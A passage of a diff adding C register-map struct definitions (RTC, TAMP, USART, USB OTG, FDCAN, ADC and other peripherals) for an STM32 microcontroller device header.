CCIPR2; /*!< IPs Clocks Configuration Register 2 Address offset: 0xE4 */ + __IO uint32_t CCIPR3; /*!< IPs Clocks Configuration Register 3 Address offset: 0xE8 */ + uint32_t RESERVED11; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< Backup Domain Control Register Address offset: 0xF0 */ + __IO uint32_t CSR; /*!< V33 Clock Control & Status Register Address offset: 0xF4 */ + uint32_t RESERVED[6]; /*!< Reserved Address offset: 0xF8 */ + __IO uint32_t SECCFGR; /*!< RCC secure configuration register Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + +/** + * @brief PKA + */ +typedef struct +{ + __IO uint32_t CR; /*!< PKA control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< PKA status register, Address offset: 0x04 */ + __IO uint32_t CLRFR; /*!< PKA clear flag register, Address offset: 0x08 */ + uint32_t Reserved[253]; /*!< Reserved memory area Address offset: 0x0C -> 0x03FC */ + __IO uint32_t RAM[1334]; /*!< PKA RAM Address offset: 0x400 -> 0x18D4 */ +} PKA_TypeDef; + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 8U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< RTC secure mode control register, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + __IO uint32_t SMISR; /*!< RTC secure masked interrupt status register, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + uint32_t RESERVED4[4];/*!< Reserved, Address offset: 0x58 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP configuration register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP configuration register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP configuration register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + __IO uint32_t SMISR; /*!< TAMP secure masked interrupt status register,Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNTR; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED1[4]; /*!< Reserved, Address offset: 0x43 -- 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED2[42]; /*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; /*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + __IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ + __IO uint32_t AUTOCR; /*!< USART Autonomous mode control register Address offset: 0x30 */ +} USART_TypeDef; + +/** + * @brief Serial Audio Interface + */ +typedef struct +{ + __IO uint32_t GCR; /*!< SAI global configuration register, Address offset: 0x00 */ + uint32_t RESERVED[16]; /*!< Reserved, Address offset: 0x04 to 0x40 */ + __IO uint32_t PDMCR; /*!< SAI PDM control register, Address offset: 0x44 */ + __IO uint32_t PDMDLY; /*!< SAI PDM delay register, Address offset: 0x48 */ +} SAI_TypeDef; + +typedef struct +{ + __IO uint32_t CR1; /*!< SAI block x configuration register 1, Address offset: 0x04 */ + __IO uint32_t CR2; /*!< SAI block x configuration register 2, Address offset: 0x08 */ + __IO uint32_t FRCR; /*!< SAI block x frame configuration register, Address offset: 0x0C */ + __IO uint32_t SLOTR; /*!< SAI block x slot register, Address offset: 0x10 */ + __IO uint32_t IMR; /*!< SAI block x interrupt mask register, Address offset: 0x14 */ + __IO uint32_t SR; /*!< SAI block x status register, Address offset: 0x18 */ + __IO uint32_t CLRFR; /*!< SAI block x clear flag register, Address offset: 0x1C */ + __IO uint32_t DR; /*!< SAI block x data register, Address offset: 0x20 */ +} SAI_Block_TypeDef; + +/** + * @brief System configuration controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< SYSCFG secure configuration register, Address offset: 0x00 */ + __IO uint32_t CFGR1; /*!< SYSCFG configuration register 1, Address offset: 0x04 */ + __IO uint32_t FPUIMR; /*!< SYSCFG FPU interrupt mask register, Address offset: 0x08 */ + __IO uint32_t CNSLCKR; /*!< SYSCFG CPU non-secure lock register, Address offset: 0x0C */ + __IO uint32_t CSLCKR; /*!< SYSCFG CPU secure lock register, Address offset: 0x10 */ + __IO uint32_t CFGR2; /*!< SYSCFG configuration register 2, Address offset: 0x14 */ + __IO uint32_t MESR; /*!< SYSCFG Memory Erase Status register, Address offset: 0x18 */ + __IO uint32_t CCCSR; /*!< SYSCFG Conpensaion Cell Control&Status register, Address offset: 0x1C */ + __IO uint32_t CCVR; /*!< SYSCFG Conpensaion Cell value register, Address offset: 0x20 */ + __IO uint32_t CCCR; /*!< SYSCFG Conpensaion Cell Code register, Address offset: 0x24 */ + uint32_t RESERVED1; /*!< RESERVED1, Address offset: 0x28 */ + __IO uint32_t RSSCMDR; /*!< SYSCFG RSS command mode register, Address offset: 0x2C */ +} SYSCFG_TypeDef; + +/** + * @brief Secure digital input/output Interface + */ +typedef struct +{ + __IO uint32_t POWER; /*!< SDMMC power control register, Address offset: 0x00 */ + __IO uint32_t CLKCR; /*!< SDMMC clock control register, Address offset: 0x04 */ + __IO uint32_t ARG; /*!< SDMMC argument register, Address offset: 0x08 */ + __IO uint32_t CMD; /*!< SDMMC command register, Address offset: 0x0C */ + __I uint32_t RESPCMD; /*!< SDMMC command response register, Address offset: 0x10 */ + __I uint32_t RESP1; /*!< SDMMC response 1 register, Address offset: 0x14 */ + __I uint32_t RESP2; /*!< SDMMC response 2 register, Address offset: 0x18 */ + __I uint32_t RESP3; /*!< SDMMC response 3 register, Address offset: 0x1C */ + __I uint32_t RESP4; /*!< SDMMC response 4 register, Address offset: 0x20 */ + __IO uint32_t DTIMER; /*!< SDMMC data timer register, Address offset: 0x24 */ + __IO uint32_t DLEN; /*!< SDMMC data length register, Address offset: 0x28 */ + __IO uint32_t DCTRL; /*!< SDMMC data control register, Address offset: 0x2C */ + __I uint32_t DCOUNT; /*!< SDMMC data counter register, Address offset: 0x30 */ + __I uint32_t STA; /*!< SDMMC status register, Address offset: 0x34 */ + __IO uint32_t ICR; /*!< SDMMC interrupt clear register, Address offset: 0x38 */ + __IO uint32_t MASK; /*!< SDMMC mask register, Address offset: 0x3C */ + __IO uint32_t ACKTIME; /*!< SDMMC Acknowledgement timer register, Address offset: 0x40 */ + uint32_t RESERVED0[3]; /*!< Reserved, 0x44 - 0x4C - 0x4C */ + __IO uint32_t IDMACTRL; /*!< SDMMC DMA control register, Address offset: 0x50 */ + __IO uint32_t IDMABSIZE; /*!< SDMMC DMA buffer size register, Address offset: 0x54 */ + __IO uint32_t IDMABASER; /*!< SDMMC DMA buffer base address register, Address offset: 0x58 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x60 */ + __IO uint32_t IDMALAR; /*!< SDMMC DMA linked list address register, Address offset: 0x64 */ + __IO uint32_t IDMABAR; /*!< SDMMC DMA linked list memory base register,Address offset: 0x68 */ + uint32_t RESERVED2[5]; /*!< Reserved, 0x6C-0x7C */ + __IO uint32_t FIFO; /*!< SDMMC data FIFO register, Address offset: 0x80 */ +} SDMMC_TypeDef; + + + +/** + * @brief Delay Block DLYB + */ +typedef struct +{ + __IO uint32_t CR; /*!< DELAY BLOCK control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< DELAY BLOCK configuration register, Address offset: 0x04 */ +} DLYB_TypeDef; + +/** + * @brief UCPD + */ +typedef struct +{ + __IO uint32_t CFG1; /*!< UCPD configuration register 1, Address offset: 0x00 */ + __IO uint32_t CFG2; /*!< UCPD configuration register 2, Address offset: 0x04 */ + __IO uint32_t CFG3; /*!< UCPD configuration register 3, Address offset: 0x08 */ + __IO uint32_t CR; /*!< UCPD control register, Address offset: 0x0C */ + __IO uint32_t IMR; /*!< UCPD interrupt mask register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< UCPD status register, Address offset: 0x14 */ + __IO uint32_t ICR; /*!< UCPD interrupt flag clear register Address offset: 0x18 */ + __IO uint32_t TX_ORDSET; /*!< UCPD Tx ordered set type register, Address offset: 0x1C */ + __IO uint32_t TX_PAYSZ; /*!< UCPD Tx payload size register, Address offset: 0x20 */ + __IO uint32_t TXDR; /*!< UCPD Tx data register, Address offset: 0x24 */ + __IO uint32_t RX_ORDSET; /*!< UCPD Rx ordered set type register, Address offset: 0x28 */ + __IO uint32_t RX_PAYSZ; /*!< UCPD Rx payload size register, Address offset: 0x2C */ + __IO uint32_t RXDR; /*!< UCPD Rx data register, Address offset: 0x30 */ + __IO uint32_t RX_ORDEXT1; /*!< UCPD Rx ordered set extension 1 register, Address offset: 0x34 */ + __IO uint32_t RX_ORDEXT2; /*!< UCPD Rx ordered set extension 2 register, Address offset: 0x38 */ +} UCPD_TypeDef; + +/** + * @brief USB_OTG_Core_register + */ +typedef struct +{ + __IO uint32_t GOTGCTL; /*!< USB_OTG Control and Status Register, Address offset: 000h */ + __IO uint32_t GOTGINT; /*!< USB_OTG Interrupt Register, Address offset: 004h */ + __IO uint32_t GAHBCFG; /*!< Core AHB Configuration Register, Address offset: 008h */ + __IO uint32_t GUSBCFG; /*!< Core USB Configuration Register, Address offset: 00Ch */ + __IO uint32_t GRSTCTL; /*!< Core Reset Register, Address offset: 010h */ + __IO uint32_t GINTSTS; /*!< Core Interrupt Register, Address offset: 014h */ + __IO uint32_t GINTMSK; /*!< Core Interrupt Mask Register, Address offset: 018h */ + __IO uint32_t GRXSTSR; /*!< Receive Sts Q Read Register, Address offset: 01Ch */ + __IO uint32_t GRXSTSP; /*!< Receive Sts Q Read & POP Register, Address offset: 020h */ + __IO uint32_t GRXFSIZ; /*!< Receive FIFO Size Register, Address offset: 024h */ + __IO uint32_t DIEPTXF0_HNPTXFSIZ; /*!< EP0 / Non Periodic Tx FIFO Size Register, Address offset: 028h */ + __IO uint32_t HNPTXSTS; /*!< Non Periodic Tx FIFO/Queue Sts reg, Address offset: 02Ch */ + __IO uint32_t Reserved30[2]; /*!< Reserved, Address offset: 030h */ + __IO uint32_t GCCFG; /*!< General Purpose IO Register, Address offset: 038h */ + __IO uint32_t CID; /*!< User ID Register, Address offset: 03Ch */ + __IO uint32_t GSNPSID; /*!< USB_OTG core ID, Address offset: 040h */ + __IO uint32_t GHWCFG1; /*!< User HW config1, Address offset: 044h */ + __IO uint32_t GHWCFG2; /*!< User HW config2, Address offset: 048h */ + __IO uint32_t GHWCFG3; /*!< User HW config3, Address offset: 04Ch */ + __IO uint32_t Reserved6; /*!< Reserved, Address offset: 050h */ + __IO uint32_t GLPMCFG; /*!< LPM Register, Address offset: 054h */ + __IO uint32_t GPWRDN; /*!< Power Down Register, Address offset: 058h */ + __IO uint32_t GDFIFOCFG; /*!< DFIFO Software Config Register, Address offset: 05Ch */ + __IO uint32_t GADPCTL; /*!< ADP Timer, Control and Status Register, Address offset: 60Ch */ + __IO uint32_t Reserved43[39]; /*!< Reserved, Address offset: 058h */ + __IO uint32_t HPTXFSIZ; /*!< Host Periodic Tx FIFO Size Reg, Address offset: 100h */ + __IO uint32_t DIEPTXF[0x0F]; /*!< dev Periodic Transmit FIFO Address offset: 104h */ +} USB_OTG_GlobalTypeDef; + +/** + * @brief USB_OTG_device_Registers + */ +typedef struct +{ + __IO uint32_t DCFG; /*!< dev Configuration Register, Address offset: 800h */ + __IO uint32_t DCTL; /*!< dev Control Register, Address offset: 804h */ + __IO uint32_t DSTS; /*!< dev Status Register (RO), Address offset: 808h */ + uint32_t Reserved0C; /*!< Reserved, Address offset: 80Ch */ + __IO uint32_t DIEPMSK; /*!< dev IN Endpoint Mask, Address offset: 810h */ + __IO uint32_t DOEPMSK; /*!< dev OUT Endpoint Mask, Address offset: 814h */ + __IO uint32_t DAINT; /*!< dev All Endpoints Itr Reg, Address offset: 818h */ + __IO uint32_t DAINTMSK; /*!< dev All Endpoints Itr Mask, Address offset: 81Ch */ + uint32_t Reserved20; /*!< Reserved, Address offset: 820h */ + uint32_t Reserved9; /*!< Reserved, Address offset: 824h */ + __IO uint32_t DVBUSDIS; /*!< dev VBUS discharge Register, Address offset: 828h */ + __IO uint32_t DVBUSPULSE; /*!< dev VBUS Pulse Register, Address offset: 82Ch */ + __IO uint32_t DTHRCTL; /*!< dev threshold, Address offset: 830h */ + __IO uint32_t DIEPEMPMSK; /*!< dev empty msk, Address offset: 834h */ + __IO uint32_t DEACHINT; /*!< dedicated EP interrupt, Address offset: 838h */ + __IO uint32_t DEACHMSK; /*!< dedicated EP msk, Address offset: 83Ch */ + uint32_t Reserved40; /*!< dedicated EP mask, Address offset: 840h */ + __IO uint32_t DINEP1MSK; /*!< dedicated EP mask, Address offset: 844h */ + uint32_t Reserved44[15]; /*!< Reserved, Address offset: 844-87Ch */ + __IO uint32_t DOUTEP1MSK; /*!< dedicated EP msk, Address offset: 884h */ +} USB_OTG_DeviceTypeDef; + + +/** + * @brief USB_OTG_IN_Endpoint-Specific_Register + */ +typedef struct +{ + __IO uint32_t DIEPCTL; /*!< dev IN Endpoint Control Register, Address offset: 900h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 04h */ + __IO uint32_t DIEPINT; /*!< dev IN Endpoint Itr Register, Address offset: 900h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DIEPTSIZ; /*!< IN Endpoint Txfer Size Register, Address offset: 900h + (ep_num * 20h) + 10h */ + __IO uint32_t DIEPDMA; /*!< IN Endpoint DMA Address Register, Address offset: 900h + (ep_num * 20h) + 14h */ + __IO uint32_t DTXFSTS; /*!< IN Endpoint Tx FIFO Status Register, Address offset: 900h + (ep_num * 20h) + 18h */ + __IO uint32_t Reserved18; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 1Ch */ +} USB_OTG_INEndpointTypeDef; + +/** + * @brief USB_OTG_OUT_Endpoint-Specific_Registers + */ +typedef struct +{ + __IO uint32_t DOEPCTL; /*!< dev OUT Endpoint Control Register, Address offset: B00h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 04h */ + __IO uint32_t DOEPINT; /*!< dev OUT Endpoint Itr Register, Address offset: B00h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DOEPTSIZ; /*!< dev OUT Endpoint Txfer Size Register, Address offset: B00h + (ep_num * 20h) + 10h */ + __IO uint32_t DOEPDMA; /*!< dev OUT Endpoint DMA Address Register, Address offset: B00h + (ep_num * 20h) + 14h */ + __IO uint32_t Reserved18[2]; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 18h */ +} USB_OTG_OUTEndpointTypeDef; + +/** + * @brief USB_OTG_Host_Mode_Register_Structures + */ +typedef struct +{ + __IO uint32_t HCFG; /*!< Host Configuration Register, Address offset: 400h */ + __IO uint32_t HFIR; /*!< Host Frame Interval Register, Address offset: 404h */ + __IO uint32_t HFNUM; /*!< Host Frame Nbr/Frame Remaining, Address offset: 408h */ + uint32_t Reserved40C; /*!< Reserved, Address offset: 40Ch */ + __IO uint32_t HPTXSTS; /*!< Host Periodic Tx FIFO/ Queue Status, Address offset: 410h */ + __IO uint32_t HAINT; /*!< Host All Channels Interrupt Register, Address offset: 414h */ + __IO uint32_t HAINTMSK; /*!< Host All Channels Interrupt Mask, Address offset: 418h */ +} USB_OTG_HostTypeDef; + +/** + * @brief USB_OTG_Host_Channel_Specific_Registers + */ +typedef struct +{ + __IO uint32_t HCCHAR; /*!< Host Channel Characteristics Register, Address offset: 500h */ + __IO uint32_t HCSPLT; /*!< Host Channel Split Control Register, Address offset: 504h */ + __IO uint32_t HCINT; /*!< Host Channel Interrupt Register, Address offset: 508h */ + __IO uint32_t HCINTMSK; /*!< Host Channel Interrupt Mask Register, Address offset: 50Ch */ + __IO uint32_t HCTSIZ; /*!< Host Channel Transfer Size Register, Address offset: 510h */ + __IO uint32_t HCDMA; /*!< Host Channel DMA Address Register, Address offset: 514h */ + uint32_t Reserved[2]; /*!< Reserved, Address offset: 518h */ +} USB_OTG_HostChannelTypeDef; + +/** + * @brief FD Controller Area Network + */ +typedef struct +{ + __IO uint32_t CREL; /*!< FDCAN Core Release register, Address offset: 0x000 */ + __IO uint32_t ENDN; /*!< FDCAN Endian register, Address offset: 0x004 */ + uint32_t RESERVED1; /*!< Reserved, 0x008 */ + __IO uint32_t DBTP; /*!< FDCAN Data Bit Timing & Prescaler register, Address offset: 0x00C */ + __IO uint32_t TEST; /*!< FDCAN Test register, Address offset: 0x010 */ + __IO uint32_t RWD; /*!< FDCAN RAM Watchdog register, Address offset: 0x014 */ + __IO uint32_t CCCR; /*!< FDCAN CC Control register, Address offset: 0x018 */ + __IO uint32_t NBTP; /*!< FDCAN Nominal Bit Timing & Prescaler register, Address offset: 0x01C */ + __IO uint32_t TSCC; /*!< FDCAN Timestamp Counter Configuration register, Address offset: 0x020 */ + __IO uint32_t TSCV; /*!< FDCAN Timestamp Counter Value register, Address offset: 0x024 */ + __IO uint32_t TOCC; /*!< FDCAN Timeout Counter Configuration register, Address offset: 0x028 */ + __IO uint32_t TOCV; /*!< FDCAN Timeout Counter Value register, Address offset: 0x02C */ + uint32_t RESERVED2[4]; /*!< Reserved, 0x030 - 0x03C */ + __IO uint32_t ECR; /*!< FDCAN Error Counter register, Address offset: 0x040 */ + __IO uint32_t PSR; /*!< FDCAN Protocol Status register, Address offset: 0x044 */ + __IO uint32_t TDCR; /*!< FDCAN Transmitter Delay Compensation register, Address offset: 0x048 */ + uint32_t RESERVED3; /*!< Reserved, 0x04C */ + __IO uint32_t IR; /*!< FDCAN Interrupt register, Address offset: 0x050 */ + __IO uint32_t IE; /*!< FDCAN Interrupt Enable register, Address offset: 0x054 */ + __IO uint32_t ILS; /*!< FDCAN Interrupt Line Select register, Address offset: 0x058 */ + __IO uint32_t ILE; /*!< FDCAN Interrupt Line Enable register, Address offset: 0x05C */ + uint32_t RESERVED4[8]; /*!< Reserved, 0x060 - 0x07C */ + __IO uint32_t RXGFC; /*!< FDCAN Global Filter Configuration register, Address offset: 0x080 */ + __IO uint32_t XIDAM; /*!< FDCAN Extended ID AND Mask register, Address offset: 0x084 */ + __IO uint32_t HPMS; /*!< FDCAN High Priority Message Status register, Address offset: 0x088 */ + uint32_t RESERVED5; /*!< Reserved, 0x08C */ + __IO uint32_t RXF0S; /*!< FDCAN Rx FIFO 0 Status register, Address offset: 0x090 */ + __IO uint32_t RXF0A; /*!< FDCAN Rx FIFO 0 Acknowledge register, Address offset: 0x094 */ + __IO uint32_t RXF1S; /*!< FDCAN Rx FIFO 1 Status register, Address offset: 0x098 */ + __IO uint32_t RXF1A; /*!< FDCAN Rx FIFO 1 Acknowledge register, Address offset: 0x09C */ + uint32_t RESERVED6[8]; /*!< Reserved, 0x0A0 - 0x0BC */ + __IO uint32_t TXBC; /*!< FDCAN Tx Buffer Configuration register, Address offset: 0x0C0 */ + __IO uint32_t TXFQS; /*!< FDCAN Tx FIFO/Queue Status register, Address offset: 0x0C4 */ + __IO uint32_t TXBRP; /*!< FDCAN Tx Buffer Request Pending register, Address offset: 0x0C8 */ + __IO uint32_t TXBAR; /*!< FDCAN Tx Buffer Add Request register, Address offset: 0x0CC */ + __IO uint32_t TXBCR; /*!< FDCAN Tx Buffer Cancellation Request register, Address offset: 0x0D0 */ + __IO uint32_t TXBTO; /*!< FDCAN Tx Buffer Transmission Occurred register, Address offset: 0x0D4 */ + __IO uint32_t TXBCF; /*!< FDCAN Tx Buffer Cancellation Finished register, Address offset: 0x0D8 */ + __IO uint32_t TXBTIE; /*!< FDCAN Tx Buffer Transmission Interrupt Enable register, Address offset: 0x0DC */ + __IO uint32_t TXBCIE; /*!< FDCAN Tx Buffer Cancellation Finished Interrupt Enable register, Address offset: 0x0E0 */ + __IO uint32_t TXEFS; /*!< FDCAN Tx Event FIFO Status register, Address offset: 0x0E4 */ + __IO uint32_t TXEFA; /*!< FDCAN Tx Event FIFO Acknowledge register, Address offset: 0x0E8 */ +} FDCAN_GlobalTypeDef; + +/** + * @brief FD Controller Area Network Configuration + */ +typedef struct +{ + __IO uint32_t CKDIV; /*!< FDCAN clock divider register, Address offset: 0x100 + 0x000 */ + uint32_t RESERVED1[128];/*!< Reserved, 0x100 + 0x004 - 0x100 + 0x200 */ + __IO uint32_t OPTR; /*!< FDCAN option register, Address offset: 0x100 + 0x204 */ + uint32_t RESERVED2[58];/*!< Reserved, 0x100 + 0x208 - 0x100 + 0x2EC */ + __IO uint32_t HWCFG; /*!< FDCAN hardware configuration register, Address offset: 0x100 + 0x2F0 */ + __IO uint32_t VERR; /*!< FDCAN IP version register, Address offset: 0x100 + 0x2F4 */ + __IO uint32_t IPIDR; /*!< FDCAN IP ID register, Address offset: 0x100 + 0x2F8 */ + __IO uint32_t SIDR; /*!< FDCAN size ID register, Address offset: 0x100 + 0x2FC */ +} FDCAN_Config_TypeDef; + +/** + * @brief Flexible Memory Controller + */ +typedef struct +{ + __IO uint32_t BTCR[8]; /*!< NOR/PSRAM chip-select control register(BCR) and chip-select timing register(BTR), Address offset: 0x00-1C */ + __IO uint32_t PCSCNTR; /*!< PSRAM chip-select counter register, Address offset: 0x20 */ +} FMC_Bank1_TypeDef; + +/** + * @brief Flexible Memory Controller Bank1E + */ +typedef struct +{ + __IO uint32_t BWTR[7]; /*!< NOR/PSRAM write timing registers, Address offset: 0x104-0x11C */ +} FMC_Bank1E_TypeDef; + +/** + * @brief Flexible Memory Controller Bank3 + */ +typedef struct +{ + __IO uint32_t PCR; /*!< NAND Flash control register, Address offset: 0x80 */ + __IO uint32_t SR; /*!< NAND Flash FIFO status and interrupt register, Address offset: 0x84 */ + __IO uint32_t PMEM; /*!< NAND Flash Common memory space timing register, Address offset: 0x88 */ + __IO uint32_t PATT; /*!< NAND Flash Attribute memory space timing register, Address offset: 0x8C */ + uint32_t RESERVED0; /*!< Reserved, 0x90 */ + __IO uint32_t ECCR; /*!< NAND Flash ECC result registers, Address offset: 0x94 */ +} FMC_Bank3_TypeDef; + +/** + * @brief VREFBUF + */ +typedef struct +{ + __IO uint32_t CSR; /*!< VREFBUF control and status register, Address offset: 0x00 */ + __IO uint32_t CCR; /*!< VREFBUF calibration and control register, Address offset: 0x04 */ +} VREFBUF_TypeDef; + +/** + * @brief ADC + */ +typedef struct +{ + __IO uint32_t ISR; /*!< ADC Interrupt and Status Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< ADC Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< ADC control register, Address offset: 0x08 */ + __IO uint32_t CFGR1; /*!< ADC Configuration register, Address offset: 0x0C */ + __IO uint32_t CFGR2; /*!< ADC Configuration register 2, Address offset: 0x10 */ + __IO uint32_t SMPR1; /*!< ADC sample time register 1, Address offset: 0x14 */ + __IO uint32_t SMPR2; /*!< ADC sample time register 2, Address offset: 0x18 */ /* Specific to ADC 14Bits*/ + __IO uint32_t PCSEL; /*!< ADC pre-channel selection, Address offset: 0x1C */ + __IO uint32_t AWD1TR; /*!< ADC watchdog threshold register, Address offset: 0x20 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD2TR; /*!< ADC watchdog threshold register, Address offset: 0x24 */ /* Specific to ADC 12Bits*/ + __IO uint32_t CHSELR; /*!< ADC channel select 